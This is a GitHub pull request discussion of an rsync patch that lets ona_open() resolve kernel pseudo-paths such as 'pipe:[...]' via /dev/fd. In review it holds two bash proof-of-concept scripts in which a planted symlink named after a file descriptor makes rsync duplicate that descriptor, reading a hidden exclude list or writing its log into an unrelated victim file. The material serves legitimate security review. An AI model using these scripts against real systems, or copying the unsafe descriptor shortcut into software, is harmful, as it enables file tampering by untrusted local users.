Fix ENOENT when resolving kernel pseudo-paths in ona_open - #1054
Conversation
12f8181 to
f220a9e
Compare
|
Regarding the CI: I added pseudo-paths to macos.txt and cygwin.txt since they legitimately lack Linux's native /dev/fd/ process substitution. The Ubuntu runners run and pass the test perfectly. However, the AlmaLinux runner is still failing the skip oracle (likely because the minimal almalinux:8 container is missing the bash package). I think it should be added through .github/workflows/almalinux-8-build.yml but I can't push any changes to it. |
|
@seks99x I've analyzed this through and agent and it's flagging a security regression, I don't want to post all the AI blob because I'm not familiar enough with the rsync inner-workings (and not enough time), but these POCs look sound. I wanted to post this before I get the time to investigate it deeper because I want to avoid a possible security regression. 1. The fd number comes from the symlink's filename, and the only validation is #!/bin/bash
# An ordinary symlink - nothing to do with /proc or /dev/fd - resolving to a
# descriptor rsync already holds open. Usage: bash repro-a.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-a.sh /path/to/rsync}"
lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
echo hello > "$lab/src/drop.txt"
# Give rsync an inherited fd 3 holding the text "drop.txt". This stands in for
# any descriptor the rsync process happens to have open.
exec 3< <(printf 'drop.txt\n')
# The inode the kernel reports for that pipe - the number that appears inside
# the "pipe:[...]" string in /proc/self/fd, and the only thing compared.
ino=$(stat -L -c %i /proc/self/fd/3)
# Plant an ordinary symlink in an ordinary directory. Two things matter:
# * its NAME is "3" -> atoi(comp), then fstat(3) on *rsync's own* fd table
# * its TARGET is text, not a path -> matches the "pipe:[" prefix test
# The link is dangling. It is owned by us, i.e. by the euid rsync runs as,
# which is precisely the case ona_open() follows by design.
ln -sfn "pipe:[$ino]" "$lab/plant/3"
echo "planted: $lab/plant/3 -> $(readlink "$lab/plant/3")"
"$RSYNC" -a --exclude-from="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "exit status: $?"
echo "transferred: $(ls "$lab/dest" | tr '\n' ' ')"2. #!/bin/bash
# The same mechanism reaching a WRITE: --log-file lands in a file the supplied
# path never names. Usage: bash repro-b.sh /path/to/rsync
set -u
RSYNC="${1:?usage: repro-b.sh /path/to/rsync}"
lab=$(mktemp -d); trap 'rm -rf "$lab"' EXIT
mkdir -p "$lab/src" "$lab/plant" "$lab/dest"
echo hello > "$lab/src/keep.txt"
printf 'ORIGINAL-LINE-1\nORIGINAL-LINE-2\n' > "$lab/victim"
# fd 3 = a writable descriptor on the victim. Note this is a REGULAR FILE, not
# a pipe: S_ISFIFO/S_ISSOCK is never checked and st_dev is never compared, so
# only the inode number has to line up.
exec 3<> "$lab/victim"
ino=$(stat -L -c %i /proc/self/fd/3)
ln -sfn "pipe:[$ino]" "$lab/plant/3"
# --log-file asks open_no_attacker_symlinks() for O_WRONLY|O_APPEND|O_CREAT.
# dup() ignores flags and mode and returns the ORIGINAL description.
"$RSYNC" -a --log-file="$lab/plant/3" "$lab/src/" "$lab/dest/"
echo "--- $lab/victim after the run ---"; cat "$lab/victim"It also thought the branch returns without the |
|
@samueloph thank you so much for the review. |
|
The anon_inode issue is real yeah thank you for pointing this. |
|
Im thinking about handling the parent path that it is really coming from /dev/fd for example but im afraid to break a legit case which could come from another path that im not thinking of. From what im seeing UNIX like environments literally have many cases we can’t think of it easily. @steadytao @samueloph do you think it would be better to handle parent paths to make sure its getting from /proc/self or /dev/fd? From my own perspective for this to have a proper attack , the privileged process need to be opening a sensitive/privileged file and before calling close() the attacker can plant a symlink naming it as the fd number which would require also a guess. I feel its sophisticated/fanciful and wont work in real world but i want your opinions too. |
|
I will come back to this one 🤔 |
d76c80d to
5d86391
Compare
|
@steadytao I've rebased this PR on the latest master. I also updated the logic to use the new fd_pin_tail(), ensuring we only make exceptions for pseudo-paths that strictly fall under /proc/self/fd or /dev/fd like what we did with the symlinks exceptions. I think this keeps our exceptions handling clean and consistent. |
5d86391 to
f036afc
Compare
When traversing /dev/fd/ or /proc/self/fd/, the Linux kernel returns pseudo-paths like 'pipe:[123]' or 'anon_inode:inotify'. Since the parent directory is securely verified using fd_pin_tail(), this patch implicitly trusts the kernel's symlink target without requiring a strict inode match. The numeric FD is extracted from the path and safely duplicated using fcntl(F_DUPFD_CLOEXEC). Additionally, the abspath array is zero-initialized to silence Clang static analyzer warnings. This ensures bash process substitution <(cmd) and custom IPC sockets work correctly.
f036afc to
1bb3c5b
Compare
|
Looking pretty good thus far! |
4bb6dc4 to
237175c
Compare
|
@steadytao Thanks for your review! My bad I didn't thought of the flags or noticed the /proc/pid case. I modified fd_pin_tail() to handle the strict process verification to avoid a lot of redundancy here. I also manually enforced the access modes and added two new python tests to make sure we are going right. Could you recheck please? |
237175c to
903f719
Compare
…wn PID This commit addresses two critical edge cases in pseudo-path handling within ona_open() to ensure strict security boundaries: 1. Cross-PID Duplication Prevention: To prevent the unintended duplication of internal file descriptors via cross-PID paths (e.g., /proc/<victim_pid>/fd/<internal_fd>), fd_pin_tail() has been updated with a strict mode. This ensures that the dup() shortcut is exclusively limited to the current process via /proc/self/fd or /dev/fd. 2. API Contract Enforcement on dup(): Because dup() inherits the file descriptor's original access mode and status flags, it can bypass caller requirements. ona_open() now manually queries the inherited FD state via fcntl(..., F_GETFL). It explicitly rejects incompatible requests by enforcing O_ACCMODE (returning EACCES), O_DIRECTORY (returning ENOTDIR), and O_APPEND (returning EINVAL). Includes two new Python regression tests to explicitly verify cross-PID rejection and open() flag API contracts on pseudo-paths.
903f719 to
916db38
Compare
| if ((flags & O_APPEND) && !(real_flags & O_APPEND)) { | ||
| saved_errno = EINVAL; | ||
| goto out; | ||
| } |
There was a problem hiding this comment.
This still does not preserve the callers open() contract. A duplicated descriptor retains unrequested flags such as O_APPEND or O_NONBLOCK cannot acquire requested flags absent from the original and shares the original open-file-description offset.
| if (is_fd_dir && strchr(target, '/') == NULL && | ||
| (strncmp(target, "pipe:[", 6) == 0 || | ||
| strncmp(target, "socket:[", 8) == 0 || | ||
| strncmp(target, "anon_inode:", 11) == 0)) { |
There was a problem hiding this comment.
Why are sockets and anonymous inodes included?
Fixes #1053
What was added:
This PR patches ona_open() to properly handle Linux kernel pseudo-paths (pipes, sockets, etc.) generated by Bash process substitution without triggering an ENOENT error.
String-based detection: After readlinkat() successfully resolves a trusted symlink (like /dev/fd/63), the code now checks if the target is a kernel pseudo-path (pipe:[, socket:[, or anon_inode:[).
Enforcing Leaf Nodes: Added an if (!is_last) check to immediately return ENOTDIR if an operator attempts to traverse a pipe or socket like a directory.
Dropping O_NOFOLLOW: If the pseudo-path passes the above security checks, the function calls openat(dfd, comp, flags & ~O_NOFOLLOW, mode). By dropping the O_NOFOLLOW flag on the final component, we allow the kernel to hook the process into the memory object without treating it as a physical file on disk.